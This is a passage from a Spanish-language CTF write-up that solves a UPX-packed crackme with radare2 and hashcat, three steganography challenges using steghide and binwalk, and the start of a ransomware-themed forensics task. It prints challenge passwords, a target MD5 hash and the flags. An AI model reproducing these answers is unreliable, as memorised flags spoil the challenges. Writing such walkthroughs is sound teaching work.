<p>Si nos fijamos bien, conociendo el valor de local_8h en el cmp, pudiéramos
descifrar la contraseña necesaria para imprimir la flag, así que coloquemos
un breakpoint ahí:</p>
<p><img src="/img/secuma18/r2-dyn.png" alt="analisis dinamico de brEakCORP"></p>
<p>Validemos que este sea el valor y que podamos imprimir la flag:</p>
<p><img src="/img/secuma18/r2-flag.png" alt="analisis dinamico de brEakCORP"></p>
<h2 id="secuma18everythinghappendsbyareason">secuma18{eVeRyThInghaPPendSBYaReaSoN}</h2>
<h3 id="strange-file-500pts">Strange file (500pts)</h3>
<p>Tras estar toda la noche pwneando una máquina de HTB, encuentras un extraño
archivo en el directorio /tmp de tu máquina.</p>
<hr>
<p>Para este reto descargamos el archivo anexo
<a href="https://secuma.bitupalicante.es/files/211afb4d195db282570420559b94a56c/SimulacroySimulacion">SimulacroySimulacion</a>,
el cual analizamos con file:</p>
<p><img src="/img/secuma18/r3-file.png" alt="file de simulacro"></p>
<p>Como podemos ver tratamos otra vez un archivo ELF64, el cual si nos llama la
atención el resultado de file, nos indica que no tiene section header&hellip; uy.</p>
<p><img src="/img/secuma18/r3-exec1.png" alt="ejecución de simulacro"></p>
<p>Tras ejecutar el binario, nos pide la contraseña y sencillamente nos comenta
si es o no correcto.</p>
<p>Veamos que podemos ver por strings:</p>
<p><img src="/img/secuma18/r3-strings.png" alt="strings de simulacro"></p>
<p>Vuelve a aparecer el mensaje de copyright, y también algo que parece la
flag, &ldquo;uma18{&rdquo;.</p>
<p><img src="/img/secuma18/r3-rabin1.png" alt="rabin de simulacro"></p>
<p>Rabin2 nos entrega información interesante, tal como que no existen imports,
no hay secciones cosa muy común con los packers. Veamos la entropía para
confirmar si el binario se encuentra empaquetado. Comencemos por cargar el
binario en radare2 para su análisis estático:</p>
<p><img src="/img/secuma18/r3-r2load.png" alt="r2load de simulacro"></p>
<p>Nuevamente los warnings que ya hemos visto.</p>
<p>Veamos la entropía:</p>
<p><img src="/img/secuma18/r3-entropy.png" alt="entropy de simulacro"></p>
<p>Esto nos confirma como todo se va de un lado, lo cual implica que hay un
pedazo que desempaca.</p>
<p>Ahora que sabemos que se trata de un packer, analicemos nuevamente el string
del copyright:</p>
<p><img src="/img/secuma18/r3-aaa.png" alt="strings de aaa de simulacro"></p>
<p>Eso de las aaa, se parece a otro tipo de packer, busquemos en google el
copyright pero si las AAA, por lo que llegamos a esta linea en el código de
un packer en particular, UPX.</p>
<p><a href="https://github.com/upx/upx/blob/master/src/packer.cpp#L1064">https://github.com/upx/upx/blob/master/src/packer.cpp#L1064</a></p>
<p>Tras identificar que estamos tratando con UPX, probemos a descomprimir el
binario directamente con el comando upx:</p>
<p><img src="/img/secuma18/r3-upx1.png" alt="upx failed de simulacro"></p>
<p>El binario no puede ser descomprimido&hellip; Probemos a sustituir esas
fastidiosas AAA por UPX. En bless sera mas fácil esta sustitución. Guardamos
el archivo como SimulacroySimulacion.upx</p>
<p><img src="/img/secuma18/r3-bless1.png" alt="bless de simulacro"></p>
<p>Tratemos de identificarlo con file y upx:</p>
<p><img src="/img/secuma18/r3-upx2.png" alt="upx listed de simulacro"></p>
<p>Como podemos apreciar, el archivo es ahora correctamente identificado.
Procedamos a descomprimirlo:</p>
<p><img src="/img/secuma18/r3-upx3.png" alt="upx unpcacked de simulacro"></p>
<p>Tras la descompresión, carguemos el ejecutable en radare2:</p>
<p><img src="/img/secuma18/r3-load2.png" alt="load upx unpcacked de simulacro"></p>
<p>Como podemos ver ya no tenemos los mismos mensajes de warning o de
información faltante. El único mensaje de warning que tenemos es acerca del
tamaño del bloque en cierta función.</p>
<p>Veamos la tabla de Imports</p>
<table>
  <thead>
      <tr>
          <th>Num</th>
          <th>Vaddr</th>
          <th>Bind</th>
          <th>Type</th>
          <th>Name</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>0x00000f30</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>isspace</code></td>
      </tr>
      <tr>
          <td>2</td>
          <td>0x00000f40</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sprintf</code></td>
      </tr>
      <tr>
          <td>3</td>
          <td>0x00000f50</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>strstr</code></td>
      </tr>
      <tr>
          <td>4</td>
          <td>0x00000f60</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::compare(charconst*)const</code></td>
      </tr>
      <tr>
          <td>5</td>
          <td>0x00000f70</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::c_str()const</code></td>
      </tr>
      <tr>
          <td>6</td>
          <td>0x00000000</td>
          <td>WEAK</td>
          <td>FUNC</td>
          <td><code>__cxa_finalize</code></td>
      </tr>
      <tr>
          <td>7</td>
          <td>0x00000f80</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::basic_string(std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;const&amp;)</code></td>
      </tr>
      <tr>
          <td>8</td>
          <td>0x00000f90</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>memset</code></td>
      </tr>
      <tr>
          <td>9</td>
          <td>0x00000fa0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::~basic_string()</code></td>
      </tr>
      <tr>
          <td>10</td>
          <td>0x00000fb0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>open</code></td>
      </tr>
      <tr>
          <td>11</td>
          <td>0x00000fc0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>memcpy</code></td>
      </tr>
      <tr>
          <td>12</td>
          <td>0x00000fd0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>__cxa_atexit</code></td>
      </tr>
      <tr>
          <td>13</td>
          <td>0x00000fe0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::basic_ostream&lt;char,std::char_traits&lt;char&gt;&gt;&amp;std::operator&lt;&lt;&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;(std::basic_ostream&lt;char,std::char_traits&lt;char&gt;&gt;&amp;,std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;const&amp;)</code></td>
      </tr>
      <tr>
          <td>14</td>
          <td>0x00000ff0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::basic_ostream&lt;char,std::char_traits&lt;char&gt;&gt;&amp;std::operator&lt;&lt;&lt;std::char_traits&lt;char&gt;&gt;(std::basic_ostream&lt;char,std::char_traits&lt;char&gt;&gt;&amp;,charconst*)</code></td>
      </tr>
      <tr>
          <td>15</td>
          <td>0x00001000</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::allocator&lt;char&gt;::~allocator()</code></td>
      </tr>
      <tr>
          <td>16</td>
          <td>0x00001010</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>__stack_chk_fail</code></td>
      </tr>
      <tr>
          <td>17</td>
          <td>0x00001020</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::operator=(std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;&amp;&amp;)</code></td>
      </tr>
      <tr>
          <td>18</td>
          <td>0x00001030</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::basic_istream&lt;char,std::char_traits&lt;char&gt;&gt;&amp;std::operator&gt;&gt;&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;(std::basic_istream&lt;char,std::char_traits&lt;char&gt;&gt;&amp;,std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;&amp;)</code></td>
      </tr>
      <tr>
          <td>19</td>
          <td>0x00001040</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::basic_string(charconst*,std::allocator&lt;char&gt;const&amp;)</code></td>
      </tr>
      <tr>
          <td>20</td>
          <td>0x00001050</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::basic_string()</code></td>
      </tr>
      <tr>
          <td>21</td>
          <td>0x00001060</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>read</code></td>
      </tr>
      <tr>
          <td>22</td>
          <td>0x00001070</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::length()const</code></td>
      </tr>
      <tr>
          <td>23</td>
          <td>0x00001080</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::ios_base::Init::Init()</code></td>
      </tr>
      <tr>
          <td>24</td>
          <td>0x00000000</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>__gxx_personality_v0</code></td>
      </tr>
      <tr>
          <td>25</td>
          <td>0x00000000</td>
          <td>WEAK</td>
          <td>NOTYPE</td>
          <td><code>_ITM_deregisterTMCloneTable</code></td>
      </tr>
      <tr>
          <td>26</td>
          <td>0x00001090</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>_Unwind_Resume</code></td>
      </tr>
      <tr>
          <td>27</td>
          <td>0x000010a0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::allocator&lt;char&gt;::allocator()</code></td>
      </tr>
      <tr>
          <td>28</td>
          <td>0x00000000</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>__libc_start_main</code></td>
      </tr>
      <tr>
          <td>29</td>
          <td>0x00000000</td>
          <td>WEAK</td>
          <td>NOTYPE</td>
          <td><code>__gmon_start__</code></td>
      </tr>
      <tr>
          <td>30</td>
          <td>0x00000000</td>
          <td>WEAK</td>
          <td>NOTYPE</td>
          <td><code>_ITM_registerTMCloneTable</code></td>
      </tr>
      <tr>
          <td>31</td>
          <td>0x00000000</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::ios_base::Init::~Init()</code></td>
      </tr>
      <tr>
          <td>6</td>
          <td>0x00000000</td>
          <td>WEAK</td>
          <td>FUNC</td>
          <td><code>__cxa_finalize</code></td>
      </tr>
      <tr>
          <td>24</td>
          <td>0x00000000</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>__gxx_personality_v0</code></td>
      </tr>
      <tr>
          <td>25</td>
          <td>0x00000000</td>
          <td>WEAK</td>
          <td>NOTYPE</td>
          <td><code>_ITM_deregisterTMCloneTable</code></td>
      </tr>
      <tr>
          <td>28</td>
          <td>0x00000000</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>__libc_start_main</code></td>
      </tr>
      <tr>
          <td>29</td>
          <td>0x00000000</td>
          <td>WEAK</td>
          <td>NOTYPE</td>
          <td><code>__gmon_start__</code></td>
      </tr>
      <tr>
          <td>30</td>
          <td>0x00000000</td>
          <td>WEAK</td>
          <td>NOTYPE</td>
          <td><code>_ITM_registerTMCloneTable</code></td>
      </tr>
      <tr>
          <td>31</td>
          <td>0x00000000</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::ios_base::Init::~Init()</code></td>
      </tr>
  </tbody>
</table>
<p>También tenemos Exports&hellip;</p>
<table>
  <thead>
      <tr>
          <th>Num</th>
          <th>Paddr</th>
          <th>Vaddr</th>
          <th>Bind</th>
          <th>Type</th>
          <th>Size</th>
          <th>Name</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>054</td>
          <td>0x000028c2</td>
          <td>0x000028c2</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>279</td>
          <td><code>MD5::finalize()</code></td>
      </tr>
      <tr>
          <td>055</td>
          <td>0x00001930</td>
          <td>0x00001930</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>84</td>
          <td><code>MD5::init()</code></td>
      </tr>
      <tr>
          <td>058</td>
          <td>0x00002764</td>
          <td>0x00002764</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>306</td>
          <td><code>MD5::update(unsignedcharconst*,unsignedint)</code></td>
      </tr>
      <tr>
          <td>060</td>
          <td>&mdash;&mdash;&mdash;-</td>
          <td>0x00204060</td>
          <td>GLOBAL</td>
          <td>NOTYPE</td>
          <td>0</td>
          <td><code>_edata</code></td>
      </tr>
      <tr>
          <td>061</td>
          <td>0x000018b4</td>
          <td>0x000018b4</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>27</td>
          <td><code>MD5::MD5()</code></td>
      </tr>
      <tr>
          <td>064</td>
          <td>0x00002f20</td>
          <td>0x00002f20</td>
          <td>GLOBAL</td>
          <td>OBJ</td>
          <td>4</td>
          <td><code>_IO_stdin_used</code></td>
      </tr>
      <tr>
          <td>069</td>
          <td>0x00001571</td>
          <td>0x00001571</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>740</td>
          <td><code>main</code></td>
      </tr>
      <tr>
          <td>071</td>
          <td>0x00004008</td>
          <td>0x00204008</td>
          <td>GLOBAL</td>
          <td>OBJ</td>
          <td>0</td>
          <td><code>__dso_handle</code></td>
      </tr>
      <tr>
          <td>072</td>
          <td>0x000011ca</td>
          <td>0x000011ca</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>224</td>
          <td><code>check(std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;)</code></td>
      </tr>
      <tr>
          <td>075</td>
          <td>0x00002f14</td>
          <td>0x00002f14</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>0</td>
          <td><code>_fini</code></td>
      </tr>
      <tr>
          <td>084</td>
          <td>0x000018d0</td>
          <td>0x000018d0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>95</td>
          <td><code>MD5::MD5(std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;const&amp;)</code></td>
      </tr>
      <tr>
          <td>085</td>
          <td>0x000010c0</td>
          <td>0x000010c0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>43</td>
          <td><code>_start</code></td>
      </tr>
      <tr>
          <td>087</td>
          <td>0x000012aa</td>
          <td>0x000012aa</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>323</td>
          <td><code>flag(std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;)</code></td>
      </tr>
      <tr>
          <td>090</td>
          <td>0x00000f00</td>
          <td>0x00000f00</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>0</td>
          <td><code>_init</code></td>
      </tr>
      <tr>
          <td>091</td>
          <td>&mdash;&mdash;&mdash;-</td>
          <td>0x00204060</td>
          <td>GLOBAL</td>
          <td>OBJ</td>
          <td>0</td>
          <td><code>__TMC_END__</code></td>
      </tr>
      <tr>
          <td>094</td>
          <td>&mdash;&mdash;&mdash;-</td>
          <td>0x00204060</td>
          <td>GLOBAL</td>
          <td>OBJ</td>
          <td>272</td>
          <td><code>_ZSt4cout@@GLIBCXX_3.4</code></td>
      </tr>
      <tr>
          <td>096</td>
          <td>0x00001b0c</td>
          <td>0x00001b0c</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>3160</td>
          <td><code>MD5::transform(unsignedcharconst*)</code></td>
      </tr>
      <tr>
          <td>099</td>
          <td>0x00004000</td>
          <td>0x00204000</td>
          <td>GLOBAL</td>
          <td>NOTYPE</td>
          <td>0</td>
          <td><code>__data_start</code></td>
      </tr>
      <tr>
          <td>100</td>
          <td>0x000013ed</td>
          <td>0x000013ed</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>388</td>
          <td><code>debuggerIsAttached()</code></td>
      </tr>
      <tr>
          <td>101</td>
          <td>0x00002896</td>
          <td>0x00002896</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>44</td>
          <td><code>MD5::update(charconst*,unsignedint)</code></td>
      </tr>
      <tr>
          <td>102</td>
          <td>&mdash;&mdash;&mdash;-</td>
          <td>0x002042a0</td>
          <td>GLOBAL</td>
          <td>NOTYPE</td>
          <td>0</td>
          <td><code>_end</code></td>
      </tr>
      <tr>
          <td>107</td>
          <td>&mdash;&mdash;&mdash;-</td>
          <td>0x00204060</td>
          <td>GLOBAL</td>
          <td>NOTYPE</td>
          <td>0</td>
          <td><code>__bss_start</code></td>
      </tr>
      <tr>
          <td>108</td>
          <td>0x00002b95</td>
          <td>0x00002b95</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>113</td>
          <td><code>md5(std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;)</code></td>
      </tr>
      <tr>
          <td>110</td>
          <td>0x00002ea0</td>
          <td>0x00002ea0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>101</td>
          <td><code>__libc_csu_init</code></td>
      </tr>
      <tr>
          <td>111</td>
          <td>0x000029da</td>
          <td>0x000029da</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>307</td>
          <td><code>MD5::hexdigest[abi:cxx11]()const</code></td>
      </tr>
      <tr>
          <td>112</td>
          <td>0x00001984</td>
          <td>0x00001984</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>175</td>
          <td><code>MD5::decode(unsignedint*,unsignedcharconst*,unsignedint)</code></td>
      </tr>
      <tr>
          <td>114</td>
          <td>0x00001a34</td>
          <td>0x00001a34</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>215</td>
          <td><code>MD5::encode(unsignedchar*,unsignedintconst*,unsignedint)</code></td>
      </tr>
      <tr>
          <td>118</td>
          <td>0x00002f10</td>
          <td>0x00002f10</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>2</td>
          <td><code>__libc_csu_fini</code></td>
      </tr>
      <tr>
          <td>119</td>
          <td>&mdash;&mdash;&mdash;-</td>
          <td>0x00204180</td>
          <td>GLOBAL</td>
          <td>OBJ</td>
          <td>280</td>
          <td><code>_ZSt3cin@@GLIBCXX_3.4</code></td>
      </tr>
      <tr>
          <td>124</td>
          <td>0x000018b4</td>
          <td>0x000018b4</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>27</td>
          <td><code>MD5::MD5()</code></td>
      </tr>
      <tr>
          <td>125</td>
          <td>0x00002b0d</td>
          <td>0x00002b0d</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>136</td>
          <td><code>operator&lt;&lt;(std::ostream&amp;,MD5)</code></td>
      </tr>
      <tr>
          <td>126</td>
          <td>0x000018d0</td>
          <td>0x000018d0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td>95</td>
          <td><code>MD5::MD5(std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;const&amp;)</code></td>
      </tr>
  </tbody>
</table>
<p>De la tabla de imports concluimos que tenemos muchas de las funciones del
challenge1, por lo que básicamente trabajaremos con strings y md5
nuevamente.</p>
<p>Analicemos main:</p>
<p><img src="/img/secuma18/r3-main1.png" alt="main1 de simulacro"></p>
<p>Interesante, en este caso tenemos un mecanismo de protección para que el
programa no pueda ser debuggeado, adicional al stack canary que hemos visto
en los demás programas.</p>
<p><img src="/img/secuma18/r3-main2.png" alt="main2 de simulacro"></p>
<p>La primera parte se encarga de definir algunos strings, entre ellos
&ldquo;QwertyPassword&rdquo; y &ldquo;s3cuma18{TheRockOrLoL?}&rdquo;. Yo se que este ultimo parece
flag, pero no camina como flag, no dice secuma18, dice s3cuma18.</p>
<p><img src="/img/secuma18/r3-main3.png" alt="main3 de simulacro"></p>
<p>Después el siguiente bloque se encarga de imprimir el mensaje &ldquo;Introduzca la
contraseña: &quot; y el mensaje &ldquo;\n&rdquo;, continuamos por tomar el valor y
almacenarlo como string en local_a0h. Imprimimos un &ldquo;\n&rdquo; después de tomar
el valor string para darle padding.</p>
<p><img src="/img/secuma18/r3-main4.png" alt="main4 de simulacro"></p>
<p>El valor ingresado lo pasamos como parámetro a la función md5, que genera el
hash del valor ingresado y lo almacena en RBP-0x60.</p>
<p><img src="/img/secuma18/r3-main5.png" alt="main5 de simulacro"></p>
<p>Preparamos el hash que hemos generado y lo enviamos a la función check. Ojo
que el challenge1 enviaba ambos parámetros, en este caso solo enviamos el
hash.</p>
<p>Continuemos en un momento mas con la función check:</p>
<p><img src="/img/secuma18/r3-main6.png" alt="main6 de simulacro"></p>
<p>Si check retorna 1, bricamos el jump, si check retorna 0, se ejecuta el
jump.</p>
<p><img src="/img/secuma18/r3-main7.png" alt="main7 de simulacro"></p>
<p>Caso verdadero, o que check retorne 1, llamamos a flag y al retornar,
limpiamos y terminamos el programa.</p>
<p><img src="/img/secuma18/r3-main8.png" alt="main8 de simulacro"></p>
<p>Caso falso desplegamos el valor de incorrecto, limpiamos y terminamos el
programa.</p>
<p>Analicemos check:</p>
<p><img src="/img/secuma18/r3-check1.png" alt="check1 de simulacro"></p>
<p>Apenas iniciamos la función, observamos como se carga una serie de
caracteres dentro del stack, iniciando desde RBP-0x30 hasta RBP-0x11, osea
32 caracteres.</p>
<p><img src="/img/secuma18/r3-check2.png" alt="check2 de simulacro"></p>
<p>Continuamos por cargar el parámetro que recibió la función check y el inicio
del string y hacemos un compare. Esto básicamente es lo que sucedía en el
reto1, donde comparamos directamente los strings a fin de validar si la pass
convertida a hash de md5 es igual a la que esta hardcodeada.</p>
<p><img src="/img/secuma18/r3-check3.png" alt="check3 de simulacro"></p>
<p>Después que termina la comparación se prueba si es igual a 0 el retorno de
compare, si es igual a 0, check devuelve 1, si es 1, check devuelve 0. Esto
hace sentido a lo que veíamos que sucedía en main.</p>
<p>Con esto nos queda claro que para identificar la contraseña y pasar el if
(sin modificar el binario claro), que nos llevara a la función flag, debemos
romper el hash. Para ello primero extraemos el hash el cual es:</p>
<pre><code>  b960720998179dc8ddcf01201fd0dcab
</code></pre>
<p>Utilizando hashcat para atacarlo por diccionario:</p>
<p><img src="/img/secuma18/r3-hashcat.png" alt="hashcat de simulacro"></p>
<p>Ejecutamos ahora el binario e ingresamos la contraseña correcta:</p>
<p><img src="/img/secuma18/r3-run.png" alt="run de simulacro"></p>
<p>Nos aparace un mensaje que indica que debemos hacer un xor del string
&ldquo;thematrixhasyou&rdquo; y el hexadecimal
57654c6c436f4d113c0a390931005a390436430b2331.</p>
<p><img src="/img/secuma18/r3-flag.png" alt="flag de simulacro"></p>
<p>Tras resolver el xor la password se revela.</p>
<h2 id="secuma18wellcometother3alw0rld">secuma18{WeLlCoMeToThEr3AlW0rLD}</h2>
<h2 id="stego">Stego</h2>
<h3 id="discographyde-150pts">Discographyde (150pts)</h3>
<p>When I hack&hellip;</p>
<p>There is always a tone for each key, there is always a melody that reminds
you of that moment of tension, adrenaline&hellip; everything.</p>
<p>And that makes us unable to avoid hiding our darkest secrets in the deepest
of those songs.</p>
<hr>
<p>Comenzamos por descargar el archivo
<a href="https://mega.nz/#!R8EFkIRT!Umqy3VM0CwxkpnkUMzitIOYclXrMSJ0NpG5txz1xpQM">macquayle.7z</a>,
el cual contiene 2 archivos, el primero es impenetrable.sd2, que se compone
de tema de la serie honor de este CTF y el segundo es un archivo oculto
llamado &ldquo;.hint&rdquo;. Iniciamos por impenetrable.sd2</p>
<p>Tras realizar un file y un exiftool notaremos que no hay nada de especial:</p>
<p><img src="/img/secuma18/s1-file.png" alt="file de impenetrable"></p>
<p><img src="/img/secuma18/s1-exiftool.png" alt="exiftool de impenetrable"></p>
<p>Luego con sox genere un rapido espectrograma via
<em>sox impenetrable.sd2 -n spectrogram</em></p>
<p><img src="/img/secuma18/s1-spectrogram.png" alt="spectrogram de impenetrable via sox"></p>
<p>El espectrograma no nos revela ningún texto legible o algo que podamos
identificar rápido a simplemente vista.</p>
<p><img src="/img/secuma18/s1-spectrogram2.png" alt="spectrogram de impenetrable via spek"></p>
<p>Trate de imprimirlo con otra herramienta diferente, que en este caso fue
spek, pero tampoco pude visualizar algo particular. Aquí fue cuando un
pequeño hit de que existía un archivo dentro del audio, lo cual hace sentido
viendo la estructura del espectrograma, que es bastante cuadrado, sobre todo
esos picos. Esto es una clara señal de un hide por LSB.</p>
<p>Si recordamos, al inicio se nos dieron dos archivos, un wav y un txt, si
leemos el contenido del txt, tenemos lo siguiente:</p>
<pre><code>66736f63696574793030
</code></pre>
<p>Que si lo convertimos de hexa a string seria:</p>
<p><img src="/img/secuma18/s1-xxd.png" alt="pass de impenetrable"></p>
<p>Probamos este texto como la contraseña y usamos steghide para extraer
archivos del wav:</p>
<p><img src="/img/secuma18/s1-flag.png" alt="pass de impenetrable"></p>
<p><strong>secuma18{Hide_your_criminal_notes}</strong></p>
<h3 id="what-is-poetry-300pts">What is poetry? (300pts)</h3>
<p>Dices, mientras clavas tu pupila azul en mi pupila.</p>
<hr>
<p>Iniciamos este reto por descargar el archivo What_is_poetry.7z de la pagina
del reto el cual al descomprimir, nos entregara un archivo llamado
&ldquo;tyrell.jpg&rdquo;. Si analizamos este archivo con file y exiftool tendremos lo
siguiente:</p>
<p><img src="/img/secuma18/s2-file.png" alt="file de tyrell"></p>
<p>Hasta aquí nada extraño, veamos si hay strings dentro del archivo:</p>
<p><img src="/img/secuma18/s2-strings.png" alt="strings de tyrell"></p>
<p>Strings nos revela 2 cosas importantes, la primera parte es que tenemos un
archivo dentro de esta imagen, y el segundo es una clave morse que esta
hasta mero abajo.</p>
<p>Convirtamos esa clave morse a texto:</p>
<p><img src="/img/secuma18/s2-morse.png" alt="morse2ascii de tyrell"></p>
<p>Ahora usemos <em>intensito</em> como contraseña de steghide:</p>
<p><img src="/img/secuma18/s2-extract.png" alt="steghide extract de tyrell"></p>
<p>El contenido nos manda a una url de una pagina publica donde tenemos los
scripts de televisión. Ahí encontraremos el script del piloto de Mr robot,
el archivo &ldquo;Mr_Robot_1x01_-_Pilot.pdf&rdquo;.</p>
<p>Al abrir este archivo encontraremos muchos diálogos incluidos los que tiene
Tyrell y Elliot cuando se conocen. Tomando como referencia &ldquo;last_word&rdquo;, osea
el nombre del archivo, nos vamos hasta la ultima pagina del script:</p>
<p><img src="/img/secuma18/s2-flag.png" alt="ultima pagina del script"></p>
<p>Aquí podemos ver que la ultima palabra del documento es <em>BLACK</em>, la cual
resulta ser nuestra flag.</p>
<h2 id="secuma18black">secuma18{BLACK}</h2>
<h3 id="0ld_m3m0r13s-500pts">0ld_m3m0r13s (500pts)</h3>
<p>My father and I were very close. He was an example to follow for me.</p>
<p>But&hellip; one day I failed him. And from that day he stopped talking to me and
looking at me, even the night he died. He did not say anything to me.</p>
<p>I remember&hellip; he always told me that people try hard to hide their fears and
shadows, but with a little light, everything is discovered.</p>
<hr>
<p>Tras descargar el archivo r3m3mb3rme.jpg, verificaremos con file y exiftool
en busca de información del archivo:</p>
<p><img src="/img/secuma18/s3-file.png" alt="file de r3m3mb3rme"></p>
<p>Parece fácilmente identificable que tenemos una imagen dentro de otra imagen
vía thumbnails.</p>
<p>Continuamos analizado son vía strings:</p>
<p><img src="/img/secuma18/s3-strings.png" alt="strings de r3m3mb3rme"></p>
<p>Strings nos revela que tenemos una imagen con steghide entre manos, pero
también aparece la palabra flag.txt dentro de los strings reconocibles.
Hagamos un binwalk para tener mas detalle:</p>
<p><img src="/img/secuma18/s3-binwalk.png" alt="binwalk de r3m3mb3rme"></p>
<p>Con binwalk logramos extraer un poco mas de información y vemos que tenemos
dos archivos reconocibles por sus headers dentro de la imagen, flag.txt y
A037.zip.</p>
<p>Tratemos de leer flag.txt y abrir A037.zip:</p>
<p><img src="/img/secuma18/s3-7z.png" alt="7z de r3m3mb3rme"></p>
<p>Como podemos ver, el archivo flag.txt se encuentra dentro del zip, pero como
no tenemos la contraseña no podemos ver su contenido.</p>
<p>Muchas horas despues y un hit inadvertido, la imagen r3m3mb3rme.jpg tiene un
pequeño texto dentro de la televisión que dice: <em>toseeyouagain</em></p>
<p>Usando dicho texto como pass del zip:</p>
<p><img src="/img/secuma18/s3-flag.png" alt="flag de r3m3mb3rme"></p>
<p><strong>secuma18{m4g1c_curv3s}</strong></p>
<h2 id="forensics">Forensics</h2>
<h3 id="your-times-running-out-150pts">Your time&rsquo;s running out&hellip; (150pts)</h3>
<p><img src="/img/secuma18/f1-maxresdefault.jpg" alt="jigsaw joker de mr robot"></p>
<p>Your computer files have been encrypted. Your photos, videos, documents,
etc&hellip; But, don´t worry! I have not deleted them, yet. You have 10 hours to
decypt this file to get the flag and win!</p>
<hr>
<p>El reto nos entrega un archivo cifrado llamado flag.txt.fun, el cual al
leerlo no podemos identificar ni tenemos ningún indicio.</p>
<p>Tras leer la descripción del reto, vemos que esto se parece mucho a un
ataque de un ransomware, por lo que buscamos ransomware fun extensión en
